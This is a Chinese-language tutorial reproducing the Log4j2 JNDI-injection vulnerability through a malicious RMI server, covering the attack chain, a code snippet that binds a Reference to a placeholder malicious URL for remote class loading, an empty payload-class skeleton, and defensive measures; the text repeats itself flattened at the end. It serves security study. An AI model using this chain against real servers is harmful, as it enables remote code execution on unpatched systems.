JNDI注入加RMI联合攻击并log4j2漏洞复现
字数 1606 2025-08-24 07:48:22

JNDI注入与RMI联合攻击及Log4j2漏洞复现技术文档

1. 核心概念

1.1 JNDI (Java命名和目录接口)

  • 定义: Java Naming and Directory Interface,用于实现配置参数和代码解耦的规范
  • 作用: 允许将Java对象绑定到容器环境,通过名称关联对象
  • 优势: 实现低耦合、高内聚的设计
  • 示例: 数据库连接配置变更只需修改context.xml,无需修改DbUtil.java代码

1.2 RMI (远程方法调用)

  • 定义: Remote Method Invocation,实现Java程序间JVM的远程通信
  • JVM角色: Java虚拟机,负责执行Java字节码,提供跨平台能力
  • 组成三部分:
    • Server: 服务端,提供远程对象
    • Client: 客户端,调用远程对象
    • Registry: 注册中心,存储远程对象位置信息(IP、端口、标识符)

2. 攻击原理

2.1 JNDI注入+RMI攻击机制

  1. 客户端通过lookup()方法注入RMI协议,访问恶意RMI服务器
  2. RMI服务器返回引用对象,包含类加载工厂信息
  3. 若本地无该类,则从加载工厂获取类字节码
  4. 客户端访问指定端口(如localhost:80)下载payload.class
  5. Class.forName加载字节码,执行静态代码块

2.2 Log4j2漏洞原理

  1. 客户端日志中插入JNDI语句导致注入
  2. 客户端向恶意RMI服务器请求远程对象
  3. 服务器返回引用对象,指定从远程工厂获取类
  4. 客户端JVM从恶意VPS下载payload.class字节码
  5. 类加载时执行静态方法,完成攻击

3. 环境搭建

3.1 基础项目结构

- Exp.java
- RMITest.java (接口)
- RMIServer.java
- RMIClient.java 
- RMITestTmpl.java

3.2 远程仓库配置

  • 使用phpstudy建立本地仓库
  • 测试时需删除项目目录中的payload.java,确保RMI从远程加载

4. 攻击实施步骤

4.1 恶意RMI服务器搭建

// 创建恶意Reference对象
Reference payload = new Reference("恶意类名", "工厂类名", "http://恶意地址/");
ReferenceWrapper wrapper = new ReferenceWrapper(payload);

// 绑定到RMI注册表
registry.bind("hello", wrapper);

4.2 JNDI注入执行流程

  1. 构造包含JNDI URL的恶意日志消息
  2. 发送到目标服务器Log4j日志系统
  3. 服务器解析日志时尝试建立JNDI连接
  4. 通过RMI获取远程引用对象
  5. 从factoryClassLocation指定位置加载恶意类

4.3 关键属性说明

  • factoryClassLocation:
    • 指定RMI客户端加载远程对象类定义的位置
    • 设置为恶意地址时可导致任意代码执行
    • 本地测试可使用"http://localhost"

5. 恶意类构造

5.1 基本要求

  • 包含静态代码块static{},类加载时自动执行
  • 示例结构:
public class Payload {
    static {
        // 恶意代码在此执行
    }
}

5.2 字节码部署

  • 需将编译后的payload.class放置在HTTP服务可访问位置
  • 确保客户端能通过factoryClassLocation下载

6. 攻击条件

6.1 必要条件

  1. 目标使用存在漏洞的Log4j版本
  2. 目标服务器能够出网(或攻击者在同一内网)
  3. 存在日志记录点可注入JNDI语句

6.2 网络要求

  • 恶意RMI服务器需可被目标访问
  • HTTP服务需公网可达(或内网可达)以下载字节码

7. 防御措施

  1. 升级Log4j至安全版本
  2. 限制JNDI查找协议(禁用RMI、LDAP等)
  3. 设置com.sun.jndi.rmi.object.trustURLCodebase=false
  4. 网络层面限制出站连接
  5. 对日志输入进行严格过滤

8. 技术要点总结

  1. 利用链: JNDI查找 → RMI调用 → 远程类加载 → 静态代码执行
  2. 关键点: factoryClassLocation控制类加载来源
  3. 依赖条件: 出网能力 + 漏洞版本 + 日志注入点
  4. 扩展性: 可结合反序列化等漏洞增强攻击效果

本技术文档详细阐述了JNDI注入与RMI联合攻击的技术原理及Log4j2漏洞的复现方法,包含环境搭建、攻击实施、防御措施等完整知识体系,适用于安全研究及防御方案设计参考。

JNDI注入与RMI联合攻击及Log4j2漏洞复现技术文档 1. 核心概念 1.1 JNDI (Java命名和目录接口) 定义 : Java Naming and Directory Interface,用于实现配置参数和代码解耦的规范 作用 : 允许将Java对象绑定到容器环境,通过名称关联对象 优势 : 实现低耦合、高内聚的设计 示例 : 数据库连接配置变更只需修改context.xml,无需修改DbUtil.java代码 1.2 RMI (远程方法调用) 定义 : Remote Method Invocation,实现Java程序间JVM的远程通信 JVM角色 : Java虚拟机,负责执行Java字节码,提供跨平台能力 组成三部分 : Server : 服务端,提供远程对象 Client : 客户端,调用远程对象 Registry : 注册中心,存储远程对象位置信息(IP、端口、标识符) 2. 攻击原理 2.1 JNDI注入+RMI攻击机制 客户端通过 lookup() 方法注入RMI协议,访问恶意RMI服务器 RMI服务器返回引用对象,包含类加载工厂信息 若本地无该类,则从加载工厂获取类字节码 客户端访问指定端口(如localhost:80)下载payload.class Class.forName 加载字节码,执行静态代码块 2.2 Log4j2漏洞原理 客户端日志中插入JNDI语句导致注入 客户端向恶意RMI服务器请求远程对象 服务器返回引用对象,指定从远程工厂获取类 客户端JVM从恶意VPS下载payload.class字节码 类加载时执行静态方法,完成攻击 3. 环境搭建 3.1 基础项目结构 3.2 远程仓库配置 使用phpstudy建立本地仓库 测试时需删除项目目录中的payload.java,确保RMI从远程加载 4. 攻击实施步骤 4.1 恶意RMI服务器搭建 4.2 JNDI注入执行流程 构造包含JNDI URL的恶意日志消息 发送到目标服务器Log4j日志系统 服务器解析日志时尝试建立JNDI连接 通过RMI获取远程引用对象 从factoryClassLocation指定位置加载恶意类 4.3 关键属性说明 factoryClassLocation : 指定RMI客户端加载远程对象类定义的位置 设置为恶意地址时可导致任意代码执行 本地测试可使用"http://localhost" 5. 恶意类构造 5.1 基本要求 包含静态代码块 static{} ,类加载时自动执行 示例结构: 5.2 字节码部署 需将编译后的payload.class放置在HTTP服务可访问位置 确保客户端能通过factoryClassLocation下载 6. 攻击条件 6.1 必要条件 目标使用存在漏洞的Log4j版本 目标服务器能够出网(或攻击者在同一内网) 存在日志记录点可注入JNDI语句 6.2 网络要求 恶意RMI服务器需可被目标访问 HTTP服务需公网可达(或内网可达)以下载字节码 7. 防御措施 升级Log4j至安全版本 限制JNDI查找协议(禁用RMI、LDAP等) 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 网络层面限制出站连接 对日志输入进行严格过滤 8. 技术要点总结 利用链 : JNDI查找 → RMI调用 → 远程类加载 → 静态代码执行 关键点 : factoryClassLocation控制类加载来源 依赖条件 : 出网能力 + 漏洞版本 + 日志注入点 扩展性 : 可结合反序列化等漏洞增强攻击效果 本技术文档详细阐述了JNDI注入与RMI联合攻击的技术原理及Log4j2漏洞的复现方法,包含环境搭建、攻击实施、防御措施等完整知识体系,适用于安全研究及防御方案设计参考。